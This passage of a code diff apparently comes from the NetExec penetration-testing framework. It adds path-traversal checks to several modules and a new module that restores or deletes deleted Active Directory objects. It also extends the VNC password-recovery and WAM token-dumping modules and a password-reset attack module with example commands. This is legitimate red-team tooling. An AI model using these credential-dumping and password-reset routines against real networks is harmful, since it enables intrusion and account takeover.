self.__dcom = DCOMConnection(
|
||||
self.__target,
|
||||
@@ -239,7 +248,7 @@ class RdpWmi:
|
||||
|
||||
i_interface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
|
||||
if self.__currentprotocol == "smb":
|
||||
flag, self.__stringBinding = dcom_FirewallChecker(i_interface, self.__remoteHost, self.__timeout)
|
||||
flag, self.__stringBinding = dcom_FirewallChecker(i_interface, self.__remoteHost, self.__timeout, self.logger)
|
||||
if not flag or not self.__stringBinding:
|
||||
error_msg = f'RDP-WMI: Dcom initialization failed on connection with stringbinding: "{self.__stringBinding}", please increase the timeout with the module option "DCOM-TIMEOUT=10". If it\'s still failing maybe something is blocking the RPC connection, please try to use "-o" with "METHOD=smb"'
|
||||
|
||||
|
||||
@@ -1,7 +1,9 @@
|
||||
from os import makedirs
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.paths import NXC_PATH
|
||||
from os.path import join, abspath
|
||||
from os.path import join
|
||||
from pathlib import Path
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
from impacket.dcerpc.v5.rrp import DCERPCSessionError
|
||||
from impacket.examples.secretsdump import RemoteOperations
|
||||
@@ -73,8 +75,11 @@ class NXCModule:
|
||||
|
||||
# Formatting the destination filename
|
||||
file_path = path.split("$")[-1].replace("/", "_")
|
||||
filename = f"{connection.host}_{username if username else sid_directory.get_longname()}_recyclebin_{file_path}"
|
||||
dest_path = abspath(join(export_path, filename))
|
||||
filename = sanitize_path_component(f"{connection.host}_{username if username else sid_directory.get_longname()}_recyclebin_{file_path}")
|
||||
dest_path = Path(export_path, filename).resolve()
|
||||
if Path(export_path).resolve() not in dest_path.parents:
|
||||
context.log.fail(f"Path traversal detected in {filename!r}, skipping")
|
||||
continue
|
||||
try:
|
||||
with open(dest_path, "wb+") as file:
|
||||
connection.conn.getFile("C$", path, file.write)
|
||||
|
||||
@@ -1,4 +1,3 @@
|
||||
import sys
|
||||
from impacket.krb5 import constants
|
||||
from impacket.krb5.types import Principal
|
||||
from impacket.krb5.kerberosv5 import getKerberosTGT, KerberosError
|
||||
@@ -26,6 +25,7 @@ class NXCModule:
|
||||
self.new_password = None
|
||||
self.upn_user = None
|
||||
self.upn_password = None
|
||||
self.upn_nthash = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
@@ -36,19 +36,22 @@ class NXCModule:
|
||||
NEW_PASSWORD New password to set on TARGET
|
||||
UPN_USER sAMAccountName of a controlled account you can write a userPrincipalName to (not the login account)
|
||||
UPN_PASSWORD Cleartext password of UPN_USER
|
||||
UPN_NTHASH NT Hash of UPN_USER
|
||||
|
||||
Examples:
|
||||
netexec ldap <ip> -u <username> -p <password> -M resetnightmare -o TARGET=Administrator NEW_PASSWORD='NewPass!' UPN_USER=controlled UPN_PASSWORD='Passw0rd!'
|
||||
netexec ldap <ip> -u <username> -p <password> -M resetnightmare -o TARGET=Administrator NEW_PASSWORD='NewPass!' UPN_USER=controlled UPN_NTHASH='31d6cfe0d16ae931b73c59d7e0c089c0'
|
||||
netexec ldap <ip> -u <username> -p <password> -M resetnightmare -o TARGET=DC01$ NEW_PASSWORD='NewPass!' UPN_USER=controlled$ UPN_PASSWORD='Passw0rd!'
|
||||
"""
|
||||
self.target = module_options.get("TARGET")
|
||||
self.new_password = module_options.get("NEW_PASSWORD")
|
||||
self.upn_user = module_options.get("UPN_USER")
|
||||
self.upn_password = module_options.get("UPN_PASSWORD")
|
||||
self.upn_password = module_options.get("UPN_PASSWORD", "")
|
||||
self.upn_nthash = module_options.get("UPN_NTHASH", "")
|
||||
|
||||
if not all([self.target, self.new_password, self.upn_user, self.upn_password]):
|
||||
context.log.fail("TARGET, NEW_PASSWORD, UPN_USER and UPN_PASSWORD are all required")
|
||||
sys.exit(1)
|
||||
if not all([self.target, self.new_password, self.upn_user, self.upn_password or self.upn_nthash]):
|
||||
context.log.fail("TARGET, NEW_PASSWORD, UPN_USER and either UPN_PASSWORD or UPN_NTHASH are all required")
|
||||
return False
|
||||
|
||||
def resolve_account(self, sam):
|
||||
response = self.connection.search(searchFilter=f"(sAMAccountName={sam})", attributes=["distinguishedName"])
|
||||
@@ -85,7 +88,7 @@ class NXCModule:
|
||||
client = Principal(self.target, type=constants.PrincipalNameType.NT_ENTERPRISE.value)
|
||||
kdc = self.connection.kdcHost or self.connection.host
|
||||
try:
|
||||
tgt, cipher, _, session_key = getKerberosTGT(client, self.upn_password, self.connection.domain, "", "", "", kdcHost=kdc, serverName=KRB5_KPASSWD_TGT_SPN)
|
||||
tgt, cipher, _, session_key = getKerberosTGT(client, self.upn_password, self.connection.domain, "", self.upn_nthash, "", kdcHost=kdc, serverName=KRB5_KPASSWD_TGT_SPN)
|
||||
except (KerberosError, OSError) as e:
|
||||
self.context.log.fail(f"Failed to request change-password TGT: {e}")
|
||||
return None
|
||||
|
||||
@@ -1,8 +1,9 @@
|
||||
import ntpath
|
||||
import os
|
||||
from os.path import join, getsize, exists
|
||||
from pathlib import PurePosixPath
|
||||
from pathlib import Path
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
|
||||
@@ -85,11 +86,10 @@ class NXCModule:
|
||||
continue
|
||||
|
||||
remote_file_path = ntpath.join(screenshot_path, remote_file_name)
|
||||
# replace \\ with underscores and ignore absolute path or path traversal attempts
|
||||
clean_screenshot_path = "_".join(p for p in PurePosixPath(screenshot_path.replace("\\", "/")).parts if p not in ("..", ".", "/"))
|
||||
clean_file = "_".join(p for p in PurePosixPath(remote_file_name.replace("\\", "/")).parts if p not in ("..", ".", "/"))
|
||||
|
||||
local_file_path = join(user_output_dir, f"{clean_screenshot_path}_{clean_file}")
|
||||
local_file_path = Path(user_output_dir, sanitize_path_component(f"{screenshot_path}_{remote_file_name}")).resolve()
|
||||
if Path(user_output_dir).resolve() not in local_file_path.parents:
|
||||
context.log.fail(f"Path traversal detected in {remote_file_path!r}, skipping")
|
||||
continue
|
||||
context.log.debug(f"{local_file_path=}")
|
||||
|
||||
try:
|
||||
|
||||
+17
-14
@@ -2,9 +2,10 @@ import json
|
||||
import errno
|
||||
from os.path import abspath, join, exists, splitext, getsize
|
||||
from os import makedirs, remove, stat
|
||||
from pathlib import Path, PurePosixPath
|
||||
from pathlib import Path
|
||||
import time
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.paths import NXC_PATH
|
||||
from nxc.protocols.smb.remotefile import RemoteFile
|
||||
from impacket.smb3structs import FILE_READ_DATA
|
||||
@@ -172,13 +173,13 @@ class SMBSpiderPlus:
|
||||
def get_file_save_path(self, remote_file):
|
||||
r"""Processes the remote file path to extract the filename and the folder path where the file should be saved locally.
|
||||
|
||||
Creates a PurePosixPath and replaces UNC parts, then cleans it of any path traversal (see issue #1120)
|
||||
Sanitizes each local path component and verifies containment in the output folder.
|
||||
"""
|
||||
self.logger.debug(f"Remote file: {remote_file}")
|
||||
raw_path = PurePosixPath(remote_file._RemoteFile__share, remote_file._RemoteFile__fileName.replace("\\", "/"))
|
||||
self.logger.debug(f"Raw path: {remote_file}")
|
||||
clean_parts = [p for p in raw_path.parts if p not in ("..", ".")]
|
||||
resolved = Path(self.output_folder).joinpath(self.host, *clean_parts)
|
||||
clean_parts = [sanitize_path_component(part) for part in remote_file._RemoteFile__fileName.replace("\\", "/").split("/") if part]
|
||||
resolved = Path(self.output_folder).joinpath(sanitize_path_component(self.host), sanitize_path_component(remote_file._RemoteFile__share), *clean_parts).resolve()
|
||||
if Path(self.output_folder).resolve() not in resolved.parents:
|
||||
raise ValueError(f"Path traversal detected in {remote_file!s}")
|
||||
self.logger.debug(f"Resolved path: {resolved}")
|
||||
return str(resolved.parent), resolved.name
|
||||
|
||||
@@ -308,7 +309,12 @@ class SMBSpiderPlus:
|
||||
return
|
||||
|
||||
# Check if the file is already downloaded and up-to-date.
|
||||
file_dir, file_name = self.get_file_save_path(remote_file)
|
||||
try:
|
||||
file_dir, file_name = self.get_file_save_path(remote_file)
|
||||
except ValueError as e:
|
||||
self.logger.fail(str(e))
|
||||
self.stats["num_get_fail"] += 1
|
||||
return
|
||||
download_path = join(file_dir, file_name)
|
||||
needs_update_flag = False
|
||||
if exists(download_path):
|
||||
@@ -324,7 +330,7 @@ class SMBSpiderPlus:
|
||||
try:
|
||||
self.logger.info(f'Downloading file "{file_path}" => "{download_path}".')
|
||||
remote_file.open_file()
|
||||
self.save_file(remote_file, share_name)
|
||||
self.save_file(remote_file, share_name, download_path)
|
||||
remote_file.close()
|
||||
download_success = True
|
||||
except SessionError as e:
|
||||
@@ -341,7 +347,7 @@ class SMBSpiderPlus:
|
||||
else:
|
||||
self.stats["num_get_fail"] += 1
|
||||
|
||||
def save_file(self, remote_file, share_name):
|
||||
def save_file(self, remote_file, share_name, download_path):
|
||||
"""Reads the `remote_file` in chunks using the `read_chunk` method.
|
||||
|
||||
Each chunk is then written to the local file until the entire file is saved.
|
||||
@@ -350,12 +356,9 @@ class SMBSpiderPlus:
|
||||
# Reset the remote_file to point to the beginning of the file.
|
||||
remote_file.seek(0, 0)
|
||||
|
||||
folder, filename = self.get_file_save_path(remote_file)
|
||||
download_path = join(folder, filename)
|
||||
|
||||
# Create the subdirectories based on the share name and file path.
|
||||
self.logger.debug(f"Creating folder '{folder}'")
|
||||
make_dirs(folder)
|
||||
self.logger.debug(f"Creating folder '{Path(download_path).parent}'")
|
||||
make_dirs(Path(download_path).parent)
|
||||
|
||||
try:
|
||||
with open(download_path, "wb") as fd:
|
||||
|
||||
@@ -0,0 +1,134 @@
|
||||
from impacket.ldap.ldap import LDAPSessionError, MODIFY_DELETE, MODIFY_REPLACE
|
||||
from impacket.ldap.ldapasn1 import Control, SimplePagedResultsControl
|
||||
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""Module by Fabrizzio: @Fabrizzio53"""
|
||||
|
||||
name = "tombstone"
|
||||
description = "Query, restore and delete AD objects"
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
ACTION Specify the action to execute: query, restore or delete. Default is query.
|
||||
ID The id of which object you want to restore.
|
||||
DN The DN of which object you want to delete.
|
||||
|
||||
Usage:
|
||||
nxc ldap $DC-IP -u Username -p Password -M tombstone
|
||||
nxc ldap $DC-IP -u Username -p Password -M tombstone -o ACTION=query
|
||||
nxc ldap $DC-IP -u Username -p Password -M tombstone -o ACTION=restore ID=5ad162c9-97b1-4a90-a17c-5c2aedb7d1e3
|
||||
nxc ldap $DC-IP -u Username -p Password -M tombstone -o ACTION=delete DN="CN=test,OU=Users,DC=test,DC=local"
|
||||
"""
|
||||
self.action = module_options.get("ACTION", "query").lower()
|
||||
self.id = module_options.get("ID", "")
|
||||
self.delete_dn = module_options.get("DN", "")
|
||||
if self.action == "restore" and not self.id:
|
||||
context.log.fail("ID is necessary when calling tombstone with the restore action")
|
||||
return False
|
||||
|
||||
if self.action == "delete" and not self.delete_dn:
|
||||
context.log.fail("DN is necessary when calling tombstone with the delete action")
|
||||
return False
|
||||
|
||||
def on_login(self, context, connection):
|
||||
if self.action == "query":
|
||||
self.query_deleted_objects(context, connection)
|
||||
elif self.action == "delete":
|
||||
self.delete_object(context, connection)
|
||||
elif self.action == "restore":
|
||||
self.restore_deleted_object(context, connection)
|
||||
else:
|
||||
context.log.fail(f'The action "{self.action}" is not valid, use only one available option (query, restore, delete)')
|
||||
|
||||
def show_deleted_control(self):
|
||||
return Control().setComponents("1.2.840.113556.1.4.417", True)
|
||||
|
||||
def search_deleted_objects(self, connection):
|
||||
return parse_result_attributes(
|
||||
connection.search(
|
||||
baseDN=f"CN=Deleted Objects,{connection.baseDN}",
|
||||
searchFilter="(isDeleted=TRUE)",
|
||||
attributes=[],
|
||||
searchControls=[self.show_deleted_control(), SimplePagedResultsControl(criticality=True, size=1000)],
|
||||
)
|
||||
)
|
||||
|
||||
def restore_deleted_object(self, context, connection):
|
||||
object_dn = ""
|
||||
original_dn = ""
|
||||
|
||||
context.log.highlight(f"Trying to find object with given id {self.id}")
|
||||
|
||||
context.log.debug("Search Filter=(isDeleted=TRUE)")
|
||||
context.log.highlight("")
|
||||
|
||||
for entries in self.search_deleted_objects(connection):
|
||||
if entries.get("distinguishedName", "").casefold() == f"CN=Deleted Objects,{connection.baseDN}".casefold():
|
||||
continue
|
||||
|
||||
if self.id.casefold() == entries.get("name", "").rsplit(":", 1)[-1].casefold():
|
||||
context.log.highlight(f"{'sAMAccountName':<20}: {entries.get('sAMAccountName', '')}")
|
||||
context.log.highlight(f"{'description':<20}: {entries.get('description', '')}")
|
||||
context.log.highlight(f"{'dn':<20}: {entries.get('distinguishedName', '')}")
|
||||
context.log.highlight(f"{'ID':<20}: {entries.get('name', '').rsplit(':', 1)[-1]}")
|
||||
context.log.highlight(f"{'isDeleted':<20}: {entries.get('isDeleted', '')}")
|
||||
context.log.highlight(f"{'lastKnownParent':<20}: {entries.get('lastKnownParent', '')}")
|
||||
context.log.highlight("")
|
||||
|
||||
object_dn = entries.get("distinguishedName", "")
|
||||
original_dn = object_dn.rsplit("\\0ADEL:", 1)[0] + "," + entries.get("lastKnownParent", "")
|
||||
break
|
||||
|
||||
if not original_dn:
|
||||
context.log.fail(f"The object was not found with id {self.id}.")
|
||||
return False
|
||||
|
||||
try:
|
||||
connection.ldap_connection.modify(dn=object_dn, modifications={"isDeleted": [(MODIFY_DELETE, [])], "distinguishedName": [(MODIFY_REPLACE, [original_dn])]}, controls=[self.show_deleted_control()])
|
||||
context.log.highlight(f"Success {original_dn} restored")
|
||||
except LDAPSessionError as e:
|
||||
context.log.fail(f"Error at trying to recover the object {e}")
|
||||
return False
|
||||
|
||||
def delete_object(self, context, connection):
|
||||
context.log.highlight(f"Trying to delete {self.delete_dn}")
|
||||
|
||||
try:
|
||||
connection.ldap_connection.delete(dn=self.delete_dn)
|
||||
context.log.highlight("")
|
||||
context.log.highlight(f'Success, "{self.delete_dn}" deleted')
|
||||
except LDAPSessionError as e:
|
||||
context.log.highlight("")
|
||||
context.log.fail(f'Error when trying to delete "{self.delete_dn}" {e}')
|
||||
|
||||
def query_deleted_objects(self, context, connection):
|
||||
context.log.debug("Search Filter=(isDeleted=TRUE)")
|
||||
resp_parsed = self.search_deleted_objects(connection)
|
||||
|
||||
if not resp_parsed:
|
||||
context.log.highlight("Could not find the Deleted Objects container, AD recycle bin might not be active")
|
||||
return False
|
||||
|
||||
resp_parsed = [entries for entries in resp_parsed if entries.get("distinguishedName", "").casefold() != f"CN=Deleted Objects,{connection.baseDN}".casefold()]
|
||||
if not resp_parsed:
|
||||
context.log.highlight("No objects are in a tombstone state")
|
||||
return False
|
||||
|
||||
context.log.highlight("")
|
||||
|
||||
for entries in resp_parsed:
|
||||
context.log.highlight(f"{'sAMAccountName':<20}: {entries.get('sAMAccountName', '')}")
|
||||
context.log.highlight(f"{'description':<20}: {entries.get('description', '')}")
|
||||
context.log.highlight(f"{'dn':<20}: {entries.get('distinguishedName', '')}")
|
||||
context.log.highlight(f"{'ID':<20}: {entries.get('name', '').rsplit(':', 1)[-1]}")
|
||||
context.log.highlight(f"{'isDeleted':<20}: {entries.get('isDeleted', '')}")
|
||||
context.log.highlight(f"{'lastKnownParent':<20}: {entries.get('lastKnownParent', '')}")
|
||||
context.log.highlight("")
|
||||
|
||||
context.log.highlight(f"Found {len(resp_parsed)} deleted objects")
|
||||
@@ -3,6 +3,7 @@ from datetime import datetime
|
||||
from impacket.ldap import ldap, ldapasn1
|
||||
from impacket.ldap.ldap import LDAPSearchError
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
|
||||
@@ -91,7 +92,7 @@ class NXCModule:
|
||||
|
||||
def create_log_file(self, host, time):
|
||||
"""Create a log file for dumping user descriptions."""
|
||||
logfile = f"UserDesc-{host}-{time}.log"
|
||||
logfile = sanitize_path_component(f"UserDesc-{host}-{time}.log")
|
||||
logfile = Path(NXC_PATH).joinpath(logfile)
|
||||
|
||||
self.context.log.info(f"Creating log file '{logfile}'")
|
||||
|
||||
+41
-102
@@ -1,18 +1,14 @@
|
||||
import ntpath
|
||||
import tempfile
|
||||
from dploot.lib.target import Target
|
||||
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
from impacket import winregistry
|
||||
from impacket.examples.secretsdump import RemoteOperations
|
||||
from impacket.system_errors import ERROR_NO_MORE_ITEMS
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
|
||||
from Cryptodome.Cipher import DES
|
||||
from binascii import unhexlify
|
||||
import codecs
|
||||
import re
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -23,7 +19,7 @@ class NXCModule:
|
||||
|
||||
name = "vnc"
|
||||
description = "Loot Passwords from VNC server and client configurations"
|
||||
supported_protocols = ["smb"]
|
||||
supported_protocols = ["smb", "wmi", "winrm"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
@@ -49,79 +45,40 @@ class NXCModule:
|
||||
def on_admin_login(self, context, connection):
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
self.share = self.connection.args.share
|
||||
self.share = self.connection.args.share if hasattr(self.connection.args, "share") else "C$"
|
||||
|
||||
host = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
|
||||
domain = connection.domain
|
||||
username = connection.username
|
||||
kerberos = connection.kerberos
|
||||
aesKey = connection.aesKey
|
||||
use_kcache = getattr(connection, "use_kcache", False)
|
||||
password = getattr(connection, "password", "")
|
||||
lmhash = getattr(connection, "lmhash", "")
|
||||
nthash = getattr(connection, "nthash", "")
|
||||
dploot_conn = connection.dpapi_triage.conn
|
||||
|
||||
target = Target.create(
|
||||
domain=domain,
|
||||
username=username,
|
||||
password=password,
|
||||
target=host,
|
||||
lmhash=lmhash,
|
||||
nthash=nthash,
|
||||
do_kerberos=kerberos,
|
||||
aesKey=aesKey,
|
||||
use_kcache=use_kcache,
|
||||
)
|
||||
|
||||
dploot_conn = upgrade_to_dploot_connection(target=target, connection=connection.conn)
|
||||
if not self.no_remoteops:
|
||||
remote_ops = RemoteOperations(connection.conn, False)
|
||||
remote_ops.enableRegistry()
|
||||
self.vnc_from_registry(remote_ops)
|
||||
self.vnc_client_proxyconf_extract(dploot_conn, remote_ops)
|
||||
self.vnc_from_registry(dploot_conn)
|
||||
self.vnc_client_proxyconf_extract(dploot_conn)
|
||||
self.vnc_from_filesystem(dploot_conn)
|
||||
|
||||
def reg_query_value(self, remote_ops, path, key, hku=False):
|
||||
if remote_ops._RemoteOperations__rrp:
|
||||
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp) if hku else rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
|
||||
reg_handle = ans["phKey"]
|
||||
ans = rrp.hBaseRegOpenKey(
|
||||
remote_ops._RemoteOperations__rrp,
|
||||
reg_handle,
|
||||
path,
|
||||
)
|
||||
key_handle = ans["phkResult"]
|
||||
data = None
|
||||
try:
|
||||
_, data = rrp.hBaseRegQueryValue(
|
||||
remote_ops._RemoteOperations__rrp,
|
||||
key_handle,
|
||||
key,
|
||||
)
|
||||
return data
|
||||
except rrp.DCERPCSessionError as e:
|
||||
self.context.log.debug(f"Error while querying registry value for {path} {key}: {e}")
|
||||
|
||||
def vnc_client_proxyconf_extract(self, dploot_conn, remote_ops=None):
|
||||
def vnc_client_proxyconf_extract(self, dploot_conn):
|
||||
vnc_client_softwares = [
|
||||
("RealVNC Viewer 7.x Proxy Conf", "Software\\RealVNC\\vncviewer", ["ProxyUserName", "ProxyPassword", "ProxyServer"]),
|
||||
]
|
||||
users = self.get_users(remote_ops)
|
||||
users = self.get_users(dploot_conn)
|
||||
if dploot_conn.target.protocol != "smb":
|
||||
self.context.log.warn("Downloading NTUSER.DAT for offline users, will be slow")
|
||||
for user, sid in users.items():
|
||||
ntuser_dat_path = ntpath.join(f"Users\\{user}\\NTUSER.DAT")
|
||||
try:
|
||||
ntuser_dat_bytes = dploot_conn.readFile(self.share, ntuser_dat_path)
|
||||
ntuser_dat_bytes = dploot_conn.read_file(share=self.share, path=ntuser_dat_path)
|
||||
except Exception as e:
|
||||
self.context.log.debug(f"Error while getting NTUSER.DAT file for {user}: {e}")
|
||||
for vnc_name, registry_path, registry_keys in vnc_client_softwares:
|
||||
cred = {}
|
||||
if ntuser_dat_bytes is None and remote_ops is not None:
|
||||
if ntuser_dat_bytes is None:
|
||||
user_registry_path = ntpath.join(sid, registry_path)
|
||||
try:
|
||||
password = self.reg_query_value(remote_ops, user_registry_path, registry_keys[1], hku=True).encode().rstrip(b"\x00").decode()
|
||||
password = dploot_conn.reg_get_key_value("HKU", user_registry_path, registry_keys[1])
|
||||
if password is None:
|
||||
continue
|
||||
password = password.encode().rstrip(b"\x00").decode()
|
||||
cred["password"] = self.recover_vncpassword(unhexlify(password)).decode("latin-1")
|
||||
cred["server"] = self.reg_query_value(remote_ops, user_registry_path, registry_keys[2], hku=True)
|
||||
cred["user"] = self.reg_query_value(remote_ops, user_registry_path, registry_keys[0], hku=True)
|
||||
cred["server"] = dploot_conn.reg_get_key_value("HKU", user_registry_path, registry_keys[2])
|
||||
cred["user"] = dploot_conn.reg_get_key_value("HKU", user_registry_path, registry_keys[0])
|
||||
except Exception as e:
|
||||
if "ERROR_FILE_NOT_FOUND" not in str(e):
|
||||
self.context.log.debug(f"Error while RegQueryValues {registry_keys} from {user_registry_path}: {e}")
|
||||
@@ -139,9 +96,9 @@ class NXCModule:
|
||||
cred["password"] = self.recover_vncpassword(unhexlify(password)).decode("latin-1")
|
||||
cred["server"] = reg.getValue(ntpath.join(registry_path, registry_keys[2]))[1].decode("latin-1")
|
||||
|
||||
self.context.log.highlight(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}")
|
||||
self.connection.dpapi_triage.log_secret(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}", self.context.log)
|
||||
|
||||
def vnc_from_registry(self, remote_ops):
|
||||
def vnc_from_registry(self, dpapi_conn):
|
||||
vncs = (
|
||||
("RealVNC 4.x", "SOFTWARE\\Wow6432Node\\RealVNC\\WinVNC4", "Password"),
|
||||
("RealVNC 3.x", "SOFTWARE\\RealVNC\\vncserver", "Password"),
|
||||
@@ -152,10 +109,12 @@ class NXCModule:
|
||||
)
|
||||
for vnc_name, path, key in vncs:
|
||||
try:
|
||||
value = self.reg_query_value(remote_ops, path, key)
|
||||
except Exception as e:
|
||||
if "ERROR_FILE_NOT_FOUND" not in str(e):
|
||||
self.context.log.debug(f"Error while RegQueryValue {path}\\{key}: {e}")
|
||||
value = dpapi_conn.reg_get_key_value("HKLM", path, key)
|
||||
except rrp.DCERPCSessionError as e:
|
||||
if "ERROR_FILE_NOT_FOUND" in str(e):
|
||||
self.context.log.debug(f"Could not find {path}\\{key}, likely not installed: {e}")
|
||||
else:
|
||||
self.context.log.fail(f"Error while RegQueryValue {path}\\{key}: {e}")
|
||||
continue
|
||||
if value is None:
|
||||
continue
|
||||
@@ -163,7 +122,7 @@ class NXCModule:
|
||||
password = self.recover_vncpassword(value)
|
||||
if password is None:
|
||||
continue
|
||||
self.context.log.highlight(f"[{vnc_name}] Password: {password.decode('latin-1')}")
|
||||
self.connection.dpapi_triage.log_secret(f"[{vnc_name}] Password: {password.decode('latin-1')}", self.context.log)
|
||||
|
||||
vnc_users = (
|
||||
("RealVNC Viewer 7.x", "HKCU\\Software\\RealVNC\\vncviewer", "ProxyUserName", "ProxyPassword", "ProxyServer"),
|
||||
@@ -171,7 +130,10 @@ class NXCModule:
|
||||
for vnc_name, path, user, password, server in vnc_users:
|
||||
cred = {}
|
||||
try:
|
||||
value = self.reg_query_value(remote_ops, path, password).encode().rstrip(b"\x00").decode()
|
||||
value = dpapi_conn.reg_get_key_value("HKLM", path, password)
|
||||
if value is None:
|
||||
continue
|
||||
value = value.encode().rstrip(b"\x00").decode()
|
||||
value = unhexlify(value)
|
||||
except Exception as e:
|
||||
if "ERROR_FILE_NOT_FOUND" not in str(e):
|
||||
@@ -181,13 +143,13 @@ class NXCModule:
|
||||
continue
|
||||
cred["password"] = self.recover_vncpassword(value).decode()
|
||||
try:
|
||||
cred["server"] = self.reg_query_value(remote_ops, path, server)
|
||||
cred["user"] = self.reg_query_value(remote_ops, path, user)
|
||||
cred["server"] = dpapi_conn.reg_get_key_value("HKLM", path, server)
|
||||
cred["user"] = dpapi_conn.reg_get_key_value("HKLM", path, user)
|
||||
except Exception as e:
|
||||
if "ERROR_FILE_NOT_FOUND" not in str(e):
|
||||
self.context.log.debug(f"Error while RegQueryValue {path}\\{user}: {e}")
|
||||
continue
|
||||
self.context.log.highlight(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}")
|
||||
self.connection.dpapi_triage.log_secret(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}", self.context.log)
|
||||
|
||||
def split_len(self, seq, length):
|
||||
return [seq[i:i + length] for i in range(0, len(seq), length)]
|
||||
@@ -230,8 +192,8 @@ class NXCModule:
|
||||
("UltraVNC", "Program Files (x86)\\UltraVNC\\ultravnc.ini"),
|
||||
)
|
||||
|
||||
for vnc_name, file in vncs:
|
||||
file_content = dploot_conn.readFile(self.share, file)
|
||||
for vnc_name, filepath in vncs:
|
||||
file_content = dploot_conn.read_file(share=self.share, path=filepath)
|
||||
if file_content is not None:
|
||||
regex_passwd = [rb"passwd=[0-9A-F]+", rb"passwd2=[0-9A-F]+"]
|
||||
for regex in regex_passwd:
|
||||
@@ -239,39 +201,16 @@ class NXCModule:
|
||||
for passwd_encrypted in passwds_encrypted:
|
||||
passwd_encrypted = passwd_encrypted.split(b"=")[-1]
|
||||
password = self.recover_vncpassword(unhexlify(passwd_encrypted))[:8]
|
||||
self.context.log.highlight(f"[{vnc_name}] Password: {password.decode('latin-1')}")
|
||||
self.connection.dpapi_triage.log_secret(f"[{vnc_name}] Password: {password.decode('latin-1')}", self.context.log)
|
||||
|
||||
def get_users(self, conn):
|
||||
users = {}
|
||||
userlist_key = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList"
|
||||
|
||||
ans = rrp.hOpenLocalMachine(conn._RemoteOperations__rrp)
|
||||
regHandle = ans["phKey"]
|
||||
|
||||
ans = rrp.hBaseRegOpenKey(conn._RemoteOperations__rrp, regHandle, userlist_key, samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE)
|
||||
keyHandle = ans["phkResult"]
|
||||
|
||||
sids = []
|
||||
|
||||
i = 0
|
||||
while True:
|
||||
try:
|
||||
ans2 = rrp.hBaseRegEnumKey(conn._RemoteOperations__rrp, keyHandle, i)
|
||||
sids.append(ans2["lpNameOut"])
|
||||
except rrp.DCERPCSessionError as e:
|
||||
if e.get_error_code() == ERROR_NO_MORE_ITEMS:
|
||||
break
|
||||
except Exception as e:
|
||||
self.context.debug(f"Error while listing users from HKU: {e}")
|
||||
i += 1
|
||||
rrp.hBaseRegCloseKey(conn._RemoteOperations__rrp, keyHandle)
|
||||
for sid in sids:
|
||||
ans = rrp.hBaseRegOpenKey(conn._RemoteOperations__rrp, regHandle, ntpath.join(userlist_key, sid), samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE)
|
||||
keyHandle = ans["phkResult"]
|
||||
_, profile_path = rrp.hBaseRegQueryValue(conn._RemoteOperations__rrp, keyHandle, "ProfileImagePath")
|
||||
if r"%systemroot%" in profile_path:
|
||||
for sid in conn.reg_enum_key("HKLM", userlist_key):
|
||||
profile_path = conn.reg_get_key_value("HKLM", f"{userlist_key}\\{sid}", "ProfileImagePath")
|
||||
if "C:\\Users" not in profile_path:
|
||||
continue
|
||||
users[ntpath.basename(profile_path.rstrip("\0"))] = sid.rstrip("\0")
|
||||
rrp.hBaseRegCloseKey(conn._RemoteOperations__rrp, keyHandle)
|
||||
users[ntpath.basename(profile_path).rstrip("\0")] = sid.rstrip("\0")
|
||||
|
||||
return users
|
||||
+5
-32
@@ -1,54 +1,27 @@
|
||||
import re
|
||||
import jwt
|
||||
from dploot.triage.wam import WamTriage
|
||||
from dploot.lib.target import Target
|
||||
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "wam"
|
||||
description = "Dump access token from Token Broker Cache. More info here https://blog.xpnsec.com/wam-bam/. Module by zblurx"
|
||||
supported_protocols = ["smb"]
|
||||
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No options available"""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
username = connection.username
|
||||
password = getattr(connection, "password", "")
|
||||
nthash = getattr(connection, "nthash", "")
|
||||
|
||||
self.pvkbytes = get_domain_backup_key(connection)
|
||||
|
||||
target = Target.create(
|
||||
